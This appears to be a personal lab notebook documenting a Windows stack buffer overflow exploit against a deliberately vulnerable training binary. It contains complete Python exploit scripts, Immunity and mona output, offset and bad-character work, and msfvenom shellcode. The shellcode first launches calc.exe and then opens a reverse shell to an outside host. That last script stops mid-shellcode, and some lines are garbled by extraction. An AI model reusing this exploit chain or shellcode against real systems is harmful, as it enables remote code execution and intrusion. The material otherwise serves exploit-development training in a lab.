stackoverflow

Windows --

```
RUN EXPLOIT BINARY --
ATTACH IMMUNITY --
INITIAL REGISTERES @RUNNING --
EAX 00000000
ECX 00000000
EDX 00000000
EBX 00800000
ESP 0019F294
EBP 0019F2E0
ESI 0041E440
EDI 0041E378
EIP 770CAB5C ntdll.770CAB5C
    ES 002B 32bit 0(FFFFFFFF)
P 0 CS 0023 32bit 0(FFFFFFF)
A O SS 002B 32bit O(FFFFFFFF)
Z O DS 002B 32bit O(FFFFFFF)
    FS 0053 32bit 25B000(FFF)
T 0 GS 002B 32bit 0(FFFFFFF)
D O
0 0 LastErr ERROR SUCCESS (00000000)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
STO empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0
                       ESPUOZDI
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0
                                             (GT)
FCW 027F Prec NEAR,53 Mask
CHECK LISTENER --
20:19:58 cdowns@7242-alpha-reticuli ~ sudo nmap -sT -p 31337 192.168.0.139
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-18 20:20 GMT
Nmap scan report for 192.168.0.139
Host is up (0.00056s latency).
P0RT
         STATE SERVICE
31337/tcp open Elite
MAC Address: 08:00:27:04:18:04 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
20:20:28 cdowns@7242-alpha-reticuli ~
```

initial socket test --

```
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# test message --
buf = '
buf += "autmoated script"
buf += "\n"
# send the buffer --
s.send(buf)
# print sent --
print "Sent: {0}".format(buf)
# recieve data --
data = s.recv(1024)
# print recv --
print "Recv: {0}".format(data)
TEST --
20:36:51 cdowns@7242-alpha-reticuli 051820191 master python dsofg_conn.py
Sent: autmoated script
Recv: Hello autmoated script!!!
20:36:56 cdowns@7242-alpha-reticuli 051820191 master
trigger overflow --
SCRIPT --
#!/usr/bin/env python
import socket
# target --
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# test message --
buf += "A"*1024
buf += "\n"
# send the buffer --
s.send(buf)
RUN SCRIPT --
CHECK IMMUNITY --
REGISTERS --
EAX FFFFFFF
ECX A92A87EC
EDX 000000
EBX 004744D0
ESP 007919F0 ASCII
EBP 41414141
ESI 08041470 dostackb.08041470
```

```
EDI 004744D0
EIP 4141414
     ES 002B 32bit 0(FFFFFFF)
             32bit <sup>⊙</sup>(FFFFFFF)
     CS 0023
     SS 002B 32bit 0(FFFFFFF)
     DS 002B 32bit 0(FFFFFFF)
     FS 0053 32bit 300000(FFF)
     GS 002B 32bit 0(FFFFFFF)
D O
     LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO, NB, NE, A, S, PE, L, LE)
STO empty q
ST1 empty g
ST2 empty q
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
                            ESPUOZDI
          Cond 0 0 0 0 Err 0 0 0 0 0 0 0
FCW 027F Prec NEAR,53 Mask
```

msf-pattern-create

```
CREATE PATTERN --
20:59:25 cdowns@7242-alpha-reticuli 051820191 master msf-pattern_create -l 1024 >
pattern 1024.txt
21:03:51 cdowns@7242-alpha-reticuli 051820191 master cat
pattern 1024.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0
k4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4A
8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay
Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
21:03:54 cdowns@7242-alpha-reticuli 051820191 master
SPLIT --
21:07:05 cdowns@7242-alpha-reticuli 051820191 master cat pattern_1024.txt | fold -w
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Aq0Aq1Aq2Aq3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7
```

2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7
Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A
o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1
At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax
4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5
Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B
b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd
8Bd9Be0Be1Be2Bc3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bb5Bh6Bh7Bh8Bh9Bi0B
21:07:11 cdowns@7242-alpha-reticuli 051820191 master

dsoofg payload pattern --

```
SCRIPT --
#!/usr/bin/env python
import socket
# target --
RHOST = "192.168.0.139"
RPORT = 31337
```

```
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# test message --
# msf-pattern-create -l 1024 > pattern.txt
# cat pattern_1024.txt | fold -w 64
buf =
buf +=
       "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A'
buf +=
       "c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
buf += "2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3"
buf += "Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A'
buf +=
       "i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak'
buf +=
buf +=
       "Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A'
buf +=
       "o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
buf += "0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1
buf +=
       "At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
       "v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax"
buf += "4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5
       "Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B'
buf +=
       "b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd"
buf +=
buf += "Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B'
buf +=
# send the buffer --
s.send(buf)
RUN SCRIPT --
OVERFLOW --
GET REGISTERS --
EAX FFFFFFF
ECX 622825CA
EDX 000000
EBX 004B44D0
ESP 009C19F0 ASCII
         <sup>;</sup>2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0
EBP 654137
ESI 08041470 dostackb.08041470
EDI 004B44D0
EIP
C O
     ES 002B 32bit 0(FFFFFFF)
P 1
     CS 0023
             32bit 0(FFFFFFF)
     SS 002B 32bit 0(FFFFFFFF)
     DS 002B 32bit 0(FFFFFFF)
     FS 0053 32bit 2E1000(FFF)
T 0
     GS 002B 32bit 0(FFFFFFF)
D 0
     LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
STO empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty q
ST5 empty g
ST6 empty g
ST7 empty g
                            ESPUOZDI
          Cond 0 0 0 0 Err 0 0 0 0 0 0 0
FST 0000
                                              (GT)
FCW 027F Prec NEAR,53 Mask
notes --
EIP == 39654138
CONVERT ONLINE --
https://www.scadacore.com/tools/programming-calculators/online-hex-converter/
OUTPUT --
ASCII == 9eA8
GET EIP OFFSET --
21:18:51 cdowns@7242-alpha-reticuli 051820191 master msf-pattern offset -q 39654138
```

```
[*] Exact match at offset 146
21:22:55 cdowns@7242-alpha-reticuli 051820191 master
MONA! --
!mona findmsp
Log data, item 23
Address=0BADF00D
Message=
            EIP contains normal pattern : 0x39654138 (offset 146)
Log data, item 22
Address=0BADF00D
Message=
            ESP (0\times009c19f0) points at offset 150 in normal pattern (length 874)
Log data, item 21
Address=0BADF00D
Message=
            EBP contains normal pattern : 0x65413765 (offset 142)
```

confirm offsets --

ST1 empty g ST2 empty g ST3 empty g

```
SCRIPT --
#!/usr/bin/env python
import socket
# target --
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# total buf(len)
# offset from mona! / msf-pattern-offeset
buf totalen = 1024
offset\_srp = 146
# test offsets --
buf = "
buf += "A"*(offset_srp - len(buf)) # padding
                            # SRP overwrite
# ESP location
buf += "BBBB"
buf += "CCCC"
buf += "D"*(buf_totalen - len(buf))
                                         #trailing padding
buf += "\n"
# send the buffer --
s.send(buf)
STACK AT CRASH --
EAX FFFFFFF
ECX EABCAD87
EDX 000000
EBX 004D0930
ESP 007A19F0 ASCII
EBP 4141414
ESI 08041470 dostackb.08041470
EDI 004D0930
EIP 42424242
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1
    CS 0023 32bit 0(FFFFFFF)
     SS 002B 32bit 0(FFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFF)
S 1 FS 0053 32bit 334000(FFF)
    GS 002B 32bit 0(FFFFFFF)
T 0
D 0
0 0 LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO, NB, NE, A, S, PE, L, LE)
STO empty g
```

```
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
ST7 empty g

ST8 0000 Cond 0 0 0 Err 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

CONTROL ACHIEVED --
```

bad character tests --

```
SCRIPT --
#!/usr/bin/env python
import socket
# target --
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# bad chars --
\# \xypo ( \xypo ) / \xypo ( \xypo ) badchar_test = ""
badchars = [0x00, 0x0A]
# generate sting --
for i in range(0 \times 00, 0 \times FF+1): # range (0 \times 00, 0 \times FF) only returns up to 0 \times FE
               if i not in badchars:
                                         # skip bad chars
                              badchar test += chr(i)
                                                          # append each NON-BAD char into a string
# open file for writing
with open("badchar_test.bin", "wb") as f:
               f.write(badchar_test)
# total buf(len)
# offset from mona! / msf-pattern-offeset
buf totalen = 1024
offset\_srp = 146
# test offsets --
# add badchar_test to payload --
buf += "A"*(offset_srp - len(buf)) # padding
buf += "BBBB
                              # SRP overwrite
buf += badchar test # ESP points here
buf += "D"*(buf totalen - len(buf))
                                             #trailing padding
buf += "\n"
# send the buffer --
s.send(buf)
SEND PAYLOAD --
REGISTERS AT OVERFLOW --
EAX FFFFFFF
ECX 89CD249D
EDX 00000000
EBX 00724A00
ESP 00A119F0
EBP 41414141
ESI 08041470 dostackb.08041470
EDI 00724A00
EIP 424242
C 0 ES 002B 32bit 0(FFFFFFF)
     CS 0023 32bit 0(FFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFF)
Z O DS 002B 32bit O(FFFFFFFF)
     FS 0053 32bit 2CE000(FFF)
     GS 002B 32bit 0(FFFFFFF)
D ()
0 0 LastErr WSAENOTSOCK (00002736)
```

```
EFL 00010286 (NO, NB, NE, A, S, PE, L, LE)
STO empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty q
ST7 empty g
                          ESPUOZDI
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0
                                              (GT)
FCW 027F Prec NEAR,53 Mask
CHECK BAD CHARS FILE --
22:26:36 cdowns@7242-alpha-reticuli 051820191 master strings
badchar_test.bin
!"#$%&<sup>T</sup>()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^ `abcdefghijklmnopqrstuvwxyz{|}
22:27:09 cdowns@7242-alpha-reticuli 051820191 master
XXD --
22:27:35 cdowns@7242-alpha-reticuli 051820191 master xxd
badchar test.bin
000000000: 0102 0304 0506 0708 090b 0c0d 0e0f
00000010: 1213 1415 1617 1819 lalb lcld lelf
     .....!
00000020: 2223 2425 2627 2829 2a2b 2c2d 2e2f 3031 "#$%&'()*+,-./
00000030: 3233 3435 3637 3839 3a3b 3c3d 3e3f 4041 23456789:;<=>?
000000040: 4243 4445 4647 4849 4a4b 4c4d 4e4f 5051
BCDEFGHIJKLMNOPQ
00000050: 5253 5455 5657 5859 5a5b 5c5d 5e5f 6061
RSTUVWXYZ[\]^_`a
00000060: 6263 6465 6667 6869 6a6b 6c6d 6e6f 7071
bcdefghijklmnopq
00000070: 7273 7475 7677 7879 7a7b 7c7d 7e7f 8081 rstuvwxyz{|}
00000080: 8283 8485 8687 8889 8a8b 8c8d 8e8f
00000090: 9293 9495 9697 9899 9a9b 9c9d 9e9f
a0a1
000000a0: a2a3 a4a5 a6a7 a8a9 aaab acad aeaf
b0b1
000000b0: b2b3 b4b5 b6b7 b8b9 babb bcbd bebf
c0c1
000000c0: c2c3 c4c5 c6c7 c8c9 cacb cccd cecf
d0d1 .......
000000d0: d2d3 d4d5 d6d7 d8d9 dadb dcdd dedf
000000e0: e2e3 e4e5 e6e7 e8e9 eaeb eced eeef
f0f1
000000f0: f2f3 f4f5 f6f7 f8f9 fafb fcfd
22:27:41 cdowns@7242-alpha-reticuli 051820191 master
```

!mona compare

```
USE MONA TO COMPARE TWO ITEMS --
THEY SHOULD MATCH AND NOT MODIFIED --
!mona compare -a esp -f C:\Users\IEUser\Downloads\badchar_test.bin
MEMORY COMPARISON RESULTS --
mona Memory comparison results, item 0
Address=0x009c19f0
Status=Unmodified
BadChars=
Type=normal
Location=Stack
```

```
CHECK JMP ESP GAGETS --
!mona jmp -r esp -cpb "\times00\times0A"
OUTPUT --
0BADF00D
           [+] This mona.py action took 0:00:00.014000
0BADF00D
           [+] Command used:
           !mona jmp -r esp -cpb "\times00\times0A"
0BADF00D
           ----- Mona command started on 2019-05-18 16:00:20 (v2.0, rev 585) ------
0BADF00D
           [+] Processing arguments and criteria
0BADF00D

    Pointer access level : X

0BADF00D
                Bad char filter will be applied to pointers: "\x00\x0A"
0BADF00D
           [+] Generating module info table, hang on...
0BADF00D
               - Processing modules
0BADF00D

    Done. Let's rock 'n roll.

           [+] Querying 1 modules
0BADF00D
0BADF00D

    Querying module dostackbufferoverflowgood.exe

73FA0000
           Modules C:\Windows\System32\msvcrt.dll
0BADF00D
                Search complete, processing results
           [+] Preparing output file
0BADF00D
0BADF00D

    (Re)setting logfile c:\logs\dostackbufferoverflowgood\jmp.txt

0BADF00D
           [+] Writing results to c:\logs\dostackbufferoverflowgood\jmp.txt
0BADF00D

    Number of pointers of type 'jmp esp' : 2

0BADF00D
           [+] Results:
                                     {PAGE EXECUTE READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False,
080414C3
             0 \times 080414c3 : jmp esp |
SafeSEH: True, OS: False, v-1.0- (C:\Users\IEUser\Downloads\dostackbufferoverflowgood\dostackbufferoverflowgood.exe)
             0x080416bf : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False,
080416BF
SafeSEH: True, OS: False, v-1.0- (C:\Users\IEUser\Downloads\dostackbufferoverflowgood\dostackbufferoverflowgood.exe)
               Found a total of 2 pointers
0BADF00D
0BADF00D
0BADF00D
           [+] This mona.py action took 0:00:01.297000
```

verify INT3 RCE --

```
SCRIPT --
#!/usr/bin/env python
import socket
import struct
# target --
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect((RHOST, RPORT))
# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146
# prtr_jmp_esp
# from: !mona jmp -r esp -cpb "\x00\x0A"
ptr_jmp_esp = 0x080414c3
# test offsets --
# add badchar_test to payload --
buf =
buf += "A"*(offset_srp - len(buf)) # padding
buf += struct.pack("<I", ptr_jmp_esp) # S
buf += "\xcc\xcc\xcc\xcc" # ESP points here</pre>
                                                # SRP overwrite
buf += "D"*(buf_totalen - len(buf))
                                                #trailing padding
# send the buffer --
s.send(buf)
REGISTERS AT OVERFLOW --
```

```
EAX FFFFFFF
ECX 36A7DC7A
EDX 0
EBX 005EE678
ESP 007D19F0
ESI 08041470 dostackb.08041470
EDI 005EE678
EIP 007D19F1
    ES 002B 32bit 0(FFFFFFFF)
P 1
     CS 0023 32bit 0(FFFFFFF)
     SS 002B 32bit 0(FFFFFFF)
     DS 002B 32bit 0(FFFFFFF)
     FS 0053 32bit 31B000(FFF)
     GS 002B 32bit 0(FFFFFFF)
D 0
    LastErr WSAENOTSOCK (00002736)
0 0
EFL 00000286 (NO,NB,NE,A,S,PE,L,LE)
STO empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
                          ESPUOZDI
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0
                                              (GT)
FCW 027F Prec NEAR,53 Mask
INT3 CHECK --
007D19F1
           CC
                            INT3
007D19F2
           CC
                             INT3
007D19F3
           CC
                             INT3
007D19F4
                             INC ESP
007D19F5
                            INC ESP
007D19F6
           44
                             INC ESP
007D19F7
           44
                            INC ESP
007D19F8
                             INC ESP
007D19F9
           44
                            INC ESP
007D19FA
                             INC ESP
                            INC ESP
007D19FB
007D19FC
                            INC ESP
007D19FD
           44
                             INC ESP
007D19FE
                             INC ESP
                             INC ESP
007D19FF
                            INC ESP
007D1A00
           44
007D1A01
                             INC ESP
007D1A02
           44
                            INC ESP
007D1A03
                             INC ESP
007D1A04
                             INC ESP
007D1A05
           44
                            INC ESP
007D1A06
           44
                             INC ESP
007D1A07
           44
                             INC ESP
007D1A08
                            INC ESP
007D1A09
                            INC ESP
                            INC ESP
007D1A0A
           44
007D1A0B
           44
                             INC ESP
007D1A0C
           44
                            INC ESP
007D1A0D
                             INC ESP
007D1A0E
           44
                             INC ESP
007D1A0F
                             INC ESP
VERIFIED !!!!
NEXT WILL BE VALID PAYLOAD --
exec calc --
MSFVENOM --
23:20:34 cdowns@7242-alpha-reticuli 051820191 master msfvenom --list payloads | ag 'windows/
    windows/exec
                                                         Execute an arbitrary
command
```

23:20:53 cdowns@7242-alpha-reticuli 051820191 master

```
CREATE PAYLOAD --
<mark>23:25:15</mark> cdowns@<mark>7242</mark>-alpha-reticuli 051820191 master msfvenom -p windows/exec -b '\x00\x0A' -f python -v sc
CMD=calc.exe EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the
payload
[-] No arch selected, selecting arch: x86 from the
payload
Found 11 compatible
encoders
Attempting to encode payload with 1 iterations of x86/
shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220
(iteration=0)
x86/shikata ga nai chosen with final size
Payload size: 220
bytes
Final size of python file: 1042
bytes
sc =
"\xb8\xab\xf7\x10\x25\xda\xda\xd9\x74\x24\xf4\x5e\x33"
"\xc9\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\xa4\x15"
SC +=
"\xe5\xd9\x52\x5b\x06\x22\xa2\x3c\x8e\xc7\x93\x7c\xf4"
sc +=
"\x8c\x83\x4c\x7e\xc0\x2f\x26\xd2\xf1\xa4\x4a\xfb\xf6"
SC +=
\x0d\xe0\xdd\x39\x8e\x59\x1d\x5b\x0c\xa0\x72\xbb\x2d
SC +=
SC +=
"xe1\x94\x1a\x3c\x62\x48\xea\x3f\x43\xdf\x61\x66\x43"
SC +=
'\xe1\xa6\x12\xca\xf9\xab\x1f\x84\x72\x1f\xeb\x17\x53"
SC +=
"\x6e\x14\xbb\x9a\x5f\xe7\xc5\xdb\x67\x18\xb0\x15\x94"
SC +=
\x05\xc3\xe1\xe7\x71\x41\xf2\x4f\xf1\xf1\xde\x6e\xd6
x64\x94\x7c\x93\xe3\xf2\x60\x22\x27\x89\x9c\xaf\xc6
sc +=
 x5e\x15\xeb\xec\x7a\x7e\xaf\x8d\xdb\xda\x1e\xb1\x3c"
SC +=
x85\xff\x17\x36\x2b\xeb\x25\x15\x21\xea\xb8\x23\x07
SC +=
"\xec\xc2\x2b\x37\x85\xf3\xa0\xd8\xd2\x0b\x63\x9d\x3d"
'\xee\xa6\xeb\xd5\xb7\x22\x56\xb8\x47\x99\x94\xc5\xcb"
SC +=
"\x28\x64\x32\xd3\x58\x61\x7e\x53\xb0\x1b\xef\x36\xb6"
SC +=
 x88x10x13xd5x4fx83xffx34xeax23x65x49
23:26:30 cdowns@7242-alpha-reticuli 051820191 master
METASM --
0 \times 10 = 16 bytes
CONVERSION TABLE --
                                          Binary
Decimal
              Octal
                            Hexadecimal
                                          0 0 0 1
                                                    0 0 0 0
              /020
23:26:30 cdowns@7242-alpha-reticuli 051820191 master msf-
metasm_shell
type "exit" or "quit" to
auit
use ";" or "\n" for
newline
      'file <file>" to parse a GAS assembler source
type
file
metasm > sub esp,
"\x83\xec\x10"
metasm >
auit
```

23:30:45 cdowns@7242-alpha-reticuli 051820191 master

exploit --

```
#!/usr/bin/env python
import socket
import struct
# target --
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146
# prtr_jmp_esp
# from: !mona jmp -r esp -cpb "\x00\x0A"
ptr_jmp_esp = 0x080414c3
# sub esp 10 --
# metasm > sub esp,
# "\x83\xec\x10"-
sub esp 10 = "\x83\xec\x10"
# ghetto way test --
# sub esp 10 = "\xymm \xymm \xymm 90" * 16
# msfvenom -p windows/exec -b '\x00\x0A' -f python -v sc CMD=calc.exe EXITFUNC=thread
SC +=
\xb8\xab\xf7\x10\x25\xda\xda\xd9\x74\x24\xf4\x5e\x33"
SC +=
\x09\x01\x31\x31\x46\x13\x83\xc6\x04\x03\x46\xa4\x15
SC +=
\xe5\xd9\x52\x5b\x06\x22\xa2\x3c\x8e\xc7\x93\x7c\xf4
sc +=
\x0d\xe0\xdd\x39\x8e\x59\x1d\x5b\x0c\xa0\x72\xbb\x2d
'\x6b\x87\xba\x6a\x96\x6a\xee\x23\xdc\xd9\x1f\x40\xa8"
SC +=
"\xe1\x94\x1a\x3c\x62\x48\xea\x3f\x43\xdf\x61\x66\x43"
"\xe1\xa6\x12\xca\xf9\xab\x1f\x84\x72\x1f\xeb\x17\x53"
"\x6e\x14\xbb\x9a\x5f\xe7\xc5\xdb\x67\x18\xb0\x15\x94"
"\xa5\xc3\xe1\xe7\x71\x41\xf2\x4f\xf1\xf1\xde\x6e\xd6"
SC +=
"\x64\x94\x7c\x93\xe3\xf2\x60\x22\x27\x89\x9c\xaf\xc6"
SC +=
\xspace{15\xeb\xec\x7a\x7e\xaf\x8d\xdb\xda\x1e\xb1\x3c}
SC +=
x85\xff\x17\x36\x2b\xeb\x25\x15\x21\xea\xb8\x23\x07
SC +=
sc +=
"\xee\xa6\xeb\xd5\xb7\x22\x56\xb8\x47\x99\x94\xc5\xcb"
SC +=
x28\x64\x32\xd3\x58\x61\x7e\x53\xb0\x1b\xef\x36\xb6
sc += "\x88\x10\x13\xd5\x4f\x83\xff\x34\xea\x23\x65\x49"
# assemble payload --
buf =
buf += "A"*(offset_srp - len(buf)) # padding
buf += struct.pack("<I", ptr_jmp_esp)
buf += sub_esp_10 # ESP points here</pre>
                                           # SRP overwrite
buf += sc # calc payload
```

```
buf += "D"*(buf_totalen - len(buf))  #trailing padding
buf += "\n"

# send the buffer --
s.send(buf)

WORKS LIKE A TOP !!!
```

reverse_shell

```
MSFVENOM SELECT PAYLOAD --
0:04:41 cdowns@7242-alpha-reticuli 051820191 master msfvenom --list payloads | ag windows | ag shell reverse tcp
           cmd/windows/powershell_reverse_tcp
                                                                                                                                                            Interacts with a powershell session on an established socket
connection
           windows/powershell reverse tcp
                                                                                                                                                            Listen for a connection and spawn an interactive powershell
session
                                                                                                                                                            Connect back to attacker and spawn a command shell
           windows/shell reverse tcp
           windows/x64/powershell_reverse_tcp
                                                                                                                                                            Listen for a connection and spawn an interactive powershell
session
           windows/x64/shell_reverse_tcp
                                                                                                                                                            Connect back to attacker and spawn a command shell (Windows
x64)
0:04:59 cdowns@7242-alpha-reticuli 051820191 master
EXPLOIT --
#!/usr/bin/env python
import socket
import struct
# target --
RHOST = "192.168.0.139"
RPORT = 31337
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146
# prtr_jmp_esp
# from: !mona jmp -r esp -cpb "\times00\times0A"
ptr_jmp_esp = 0x080414c3
# sub esp 10 --
# metasm > sub esp,
sub esp 10 = "\x83\xec\x10"
# msfvenom -p windows/shell reverse tcp LHOST=<mark>192.168.0.2</mark> LPORT=443 -b "\x00\x0A" -f python -v sc
# Payload size: 351 bytes
sc =
sc += "\xba\xde\x83\xcd\x73\xd9\xce\xd9\x74\x24\xf4\x5b\x31"
sc += \text{"}\xc9\xb1\x52\x83\xc3\x04\x31\x53\x0e\x03\x8d\x8d\x2f"
